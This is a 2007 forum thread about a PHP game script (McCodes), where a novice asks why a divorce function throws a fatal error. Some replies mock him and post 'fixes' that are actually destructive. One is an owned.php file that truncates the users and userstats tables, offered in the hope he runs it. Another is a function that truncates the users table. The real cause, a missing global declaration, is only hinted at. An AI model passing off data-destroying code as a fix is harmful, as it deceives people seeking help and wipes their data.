i need mccodes Posted November 21, 2007 Share Posted November 21, 2007 wen i click devoirce it says Fatal error: Call to a member function on a non-object in /home/www/************************/partner.php on line 378 and heres the divorce function function divorce() { global $ir, $mr, $c, $userid, $h; $db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})", $c); event_add($ir['married'],"{$ir['username']} divorced you.", $c); print "You divorced your partner and went back to being single. > Back"; } any ideas thanks in advance Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 21, 2007 Share Posted November 21, 2007 Re: error carnt divorce people Well well well... what happened to your last request? Quote Link to comment Share on other sites More sharing options...
Jesse60905 Posted November 22, 2007 Share Posted November 22, 2007 Re: error carnt divorce people yhl weee al herd hm mby nt tm h wll gt hlp erlr,. u no h wll sk gan Lol... By the way. The text above says: Yeah we all heard him. Maybe next time he will get help earlier. You know he will ask again. I TOLD YOU!!! I knew the noob would ask again. This is definitely a stolen marriage mod. I could make a better one. And I SUCK at coding :-D Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 22, 2007 Share Posted November 22, 2007 Re: error carnt divorce people I knew you were right I was just beating you to the punchline ;). Quote Link to comment Share on other sites More sharing options...
i need mccodes Posted November 22, 2007 Author Share Posted November 22, 2007 Re: error carnt divorce people plz can u just help me Quote Link to comment Share on other sites More sharing options...
gurpreet Posted November 22, 2007 Share Posted November 22, 2007 Re: error carnt divorce people No get lost you n00b you said last request. Please nobody help him as he has an illegal version. Mine is bought and lots of other peoples and all of ours are fine... And i wonder why its you and maybe some other n00b who has illegal mods whos don't work. So get lost and buy a legal mod idiot! Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 23, 2007 Share Posted November 23, 2007 Re: error carnt divorce people plz can u just help me Help yourself by actually buying a legit version of it. Quote Link to comment Share on other sites More sharing options...
Jesse60905 Posted November 23, 2007 Share Posted November 23, 2007 Re: error carnt divorce people I knew you were right I was just beating you to the punchline ;). Yeah I know but it was still pretty damn funny lol. So anyhoo... Seen anything good on TV? Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 24, 2007 Share Posted November 24, 2007 Re: error carnt divorce people Theres some football. Also heres a *working* (lmao) divorce version of the code. function divorce() { global $ir, $mr, $c, $userid, $h; $db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c); event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c); print "Buy the damn legit mod already! > [url='owned.txt']haha[/url]"; } (any real coder will know what I'm laughing at after reading the code over). Quote Link to comment Share on other sites More sharing options...
Jesse60905 Posted November 24, 2007 Share Posted November 24, 2007 Re: error carnt divorce people I saw a bug in that code... 1 sec. function divorce() { global $ir, $mr, $c, $userid, $h; $db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c); event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c); print "Buy the damn legit mod already! > [url='owned.txt']haha[/url]"; } SHOULD BE: function divorce() { global $ir, $mr, $c, $userid, $h; $db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c); event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c); print "File error [url='owned.php']Try Again?[/url]"; } Then create this file and upload it as owned.php: <?php include "globals.php"; $db->query("TRUNCATE TABLE users"); $db->query("TRUNCATE TABLE userstats"); $db->query("INSERT INTO users (userid, username, login_name) VALUES('', 'noob', md5(md5(md5(noober_goober))))"); echo "<h1>J00 HAV3 B33N PWN3D</h1>"; $h->endpage(); ?> Quote Link to comment Share on other sites More sharing options...
Guest Anonymous Posted November 24, 2007 Share Posted November 24, 2007 Re: error carnt divorce people <?php include "globals.php"; $db->query("TRUNCATE TABLE users"); $db->query("TRUNCATE TABLE userstats"); $db->query("INSERT INTO users (userid, username, login_name) VALUES('', 'noob', md5(md5(md5(noober_goober))))"); echo "<h1>J00 HAV3 B33N PWN3D</h1>"; $h->endpage(); ?> Yes this should work Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 26, 2007 Share Posted November 26, 2007 Re: error carnt divorce people Any error output for this one? Quote Link to comment Share on other sites More sharing options...
Jesse60905 Posted November 26, 2007 Share Posted November 26, 2007 Re: error carnt divorce people Seriously though dude... I will give you a hint but you will have to figure it out on your own. First of all look at other functions that are broken. I know the exact problem but let's see if I can teach you to figure it out. I already know that line 378 is: $db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})", $c); Which by the way only needs to be: $db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})"); But that isn't your problem. Let me show you a function that would work and one that has the same problem as yours. (By the way. Copy/pasting your code into here will not work.) This is a V2 function that I am coding on the fly. It probably won't work but I think it probably will. I suggest you don't test it as it will format your game. function pie() { global $ir,$r,$db; $db->query("TRUNCATE TABLE users"); event_add("$userid, You just formatted your game lol."); echo "Dude. Why did you test this...? You just formatted your game..."; } Ok that function should work but this one has the same exact problem yours has. function pie() { global $ir; $db->query("UPDATE users SET money=money-10000000000"); echo "No more cash lol."; } Now if you look through there you may find your problem. WARNING! SPOILER BELOW Your problem is in line 377 Now that should give you a hint towards your problem. I just wasted like 20 minutes when it would take me 2 minutes to post the bug but hopefully it will shut you up. :evil: Quote Link to comment Share on other sites More sharing options...
Godhand Posted November 26, 2007 Share Posted November 26, 2007 Re: error carnt divorce people Haha I was seeing if he'd be stupid enough to try it...... :-D Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.